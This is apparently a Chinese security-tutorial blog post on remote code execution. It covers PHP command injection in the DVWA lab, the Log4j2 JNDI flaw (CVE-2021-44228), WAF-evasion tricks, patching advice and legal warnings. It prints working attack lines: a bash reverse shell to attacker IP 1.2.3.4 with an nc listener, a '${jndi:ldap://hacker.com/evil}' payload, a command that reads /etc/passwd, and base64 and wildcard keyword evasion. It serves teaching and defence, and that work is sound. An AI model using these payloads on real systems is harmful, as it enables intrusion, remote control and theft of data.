【第八期】漏洞攻防-高危 RCE 篇:命令执行与 Log4j2 —— 打印一条日志就能接管服务器?

💡 导读:在渗透测试中,SQL 注入、XSS 虽然危险,但攻击者通常只能“读”或“骗”。而 RCE (Remote Code Execution,远程代码执行)​ 则是黑客的“终极梦想”——直接拿到服务器的操作权限。本期我们将复盘 2021 年震惊世界的 Log4j2 漏洞,并揭秘“命令执行”背后的恐怖逻辑。


一、 什么是 RCE?(一句话秒懂)

RCE = 让目标服务器执行我指定的代码。

想象一下,你有一个网站功能是“测试网络连通性”,后端代码是:

<?php system("ping " . $_GET['ip']); ?>

如果你输入 ?ip=127.0.0.1,它会 ping 本地。

但如果你输入 ?ip=127.0.0.1; cat /etc/passwd呢?

服务器会执行 ping命令,然后紧接着执行 cat /etc/passwd,把系统用户列表直接打印在网页上。这就是 命令注入(Command Injection)


二、 实战演练:从 Ping 到 GetShell

我们在 DVWA (Command Injection)​ 靶场中进行演示。

1. 探测注入点
  • 输入127.0.0.1

  • 结果:正常显示 ping 结果。

  • 输入127.0.0.1 && whoami

  • 结果:页面显示了当前服务器登录的用户名(如 www-data)。

    • &&:表示前一个命令执行成功后,执行后一个命令。

    • ;:无论前一个是否成功,都执行后一个(Linux)。

    • |:管道符,将前一个的输出作为后一个的输入。

2. 反弹 Shell(核心攻击技术)

仅仅回显信息还不够,我们要获得一个交互式的命令行窗口。

场景:攻击者服务器 IP 是 1.2.3.4

  1. 攻击者在自己电脑监听端口

    nc -lvnp 4444
  2. 在靶场注入攻击代码

    127.0.0.1; bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
  3. 结果:攻击者的终端上弹出了一个连接,现在你可以在目标服务器上为所欲为了(查看数据库、下载源码、植入木马)。


三、 核弹级漏洞复盘:Log4j2 (CVE-2021-44228)

2021 年底,全球网络安全圈地震。原因是一个 Java 常用的日志组件 Log4j2​ 出现了漏洞。

1. 原理:日志里还能藏病毒?

Log4j2 有一个功能叫 JNDI (Java Naming and Directory Interface)。它允许日志在打印时,去远程服务器下载并执行代码。

攻击流程

  1. 黑客在登录框输入用户名:${jndi:ldap://hacker.com/evil}

  2. 服务器记录日志:“用户 ${jndi:ldap://hacker.com/evil}登录失败。”

  3. 致命点:Log4j2 看到 ${...}会解析它,于是服务器主动去访问 hacker.com下载 evil.class文件。

  4. 服务器加载了这个 Class 文件,RCE 达成

2. 2026 年现状:幽灵仍在徘徊

虽然过去了几年,但 Log4j2 依然是渗透测试的必查项。很多企业内部的老旧系统、IoT 设备、甚至某些品牌的打印机固件至今仍未修复。

简单验证(无害)

在搜索框、User-Agent 或用户名处输入:

${java:version}

如果页面返回了 Java 版本号,说明存在解析漏洞(即使不能执行命令,也属于信息泄露)。


四、 现代绕过技巧(WAF Bypass)

WAF 会拦截 whoamibashcurl等敏感词。我们需要变形。

技巧 1:环境变量拼接

/bin/bas''h   # 单引号被去掉后变成 /bin/bash
w'h'o'am'i

技巧 2:Base64 编码

echo d2hvYW1p | base64 -d | bash
# d2hvYW1p 是 whoami 的 Base64 编码

技巧 3:通配符(针对 Linux)

/bin/cat /e??/pa??wd
# ? 匹配单个字符,绕过关键字检测

五、 防御与修复:如何自救?

  1. Log4j2 修复

    • 升级到最新版本(>= 2.17.0)。

    • 如果无法升级,设置 JVM 参数:-Dlog4j2.formatMsgNoLookups=true

  2. 命令执行防御

    • 白名单:不要过滤用户输入,而是只允许特定的输入(如 IP 地址只能是数字和点)。

    • 禁用危险函数:在 PHP 中禁用 systemexecshell_exec等函数。

    • 权限隔离:Web 服务器进程(www-data)不应拥有 root 权限,且禁止执行 /bin/bash


⚠️ 安全警示与法律红线

🚨 极度危险的警告:

  1. RCE 是刑事重罪:利用 RCE 漏洞进入服务器,无论你是否破坏数据,在中国法律中通常直接定性为 “非法控制计算机信息系统罪”

  2. 严禁反弹 Shell绝对禁止在互联网上对非授权目标进行 nc(Netcat) 监听或反弹 Shell 测试。这是赤裸裸的入侵行为。

  3. 靶场限制:本篇提到的 bash -inc等命令,仅限在本地虚拟机(VMware/VirtualBox)中运行。请勿在任何云服务器或公网 IP 上尝试。

RCE 是黑客的核武器。作为安全研究员,我们的职责是发现漏洞并上报,而不是按下发射按钮。


💬 互动环节

  • 你还记得 Log4j2 爆发时的情景吗?当时你的公司是不是连夜加班打补丁?

  • 除了 Log4j,你还知道哪些著名的 RCE 漏洞(如 Fastjson、Spring Cloud)?

  • 欢迎在评论区留言讨论!

👉 下一期预告:【漏洞攻防-突破边界篇】文件上传与解析漏洞 —— 一张图片如何变成网站后门(Webshell)?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值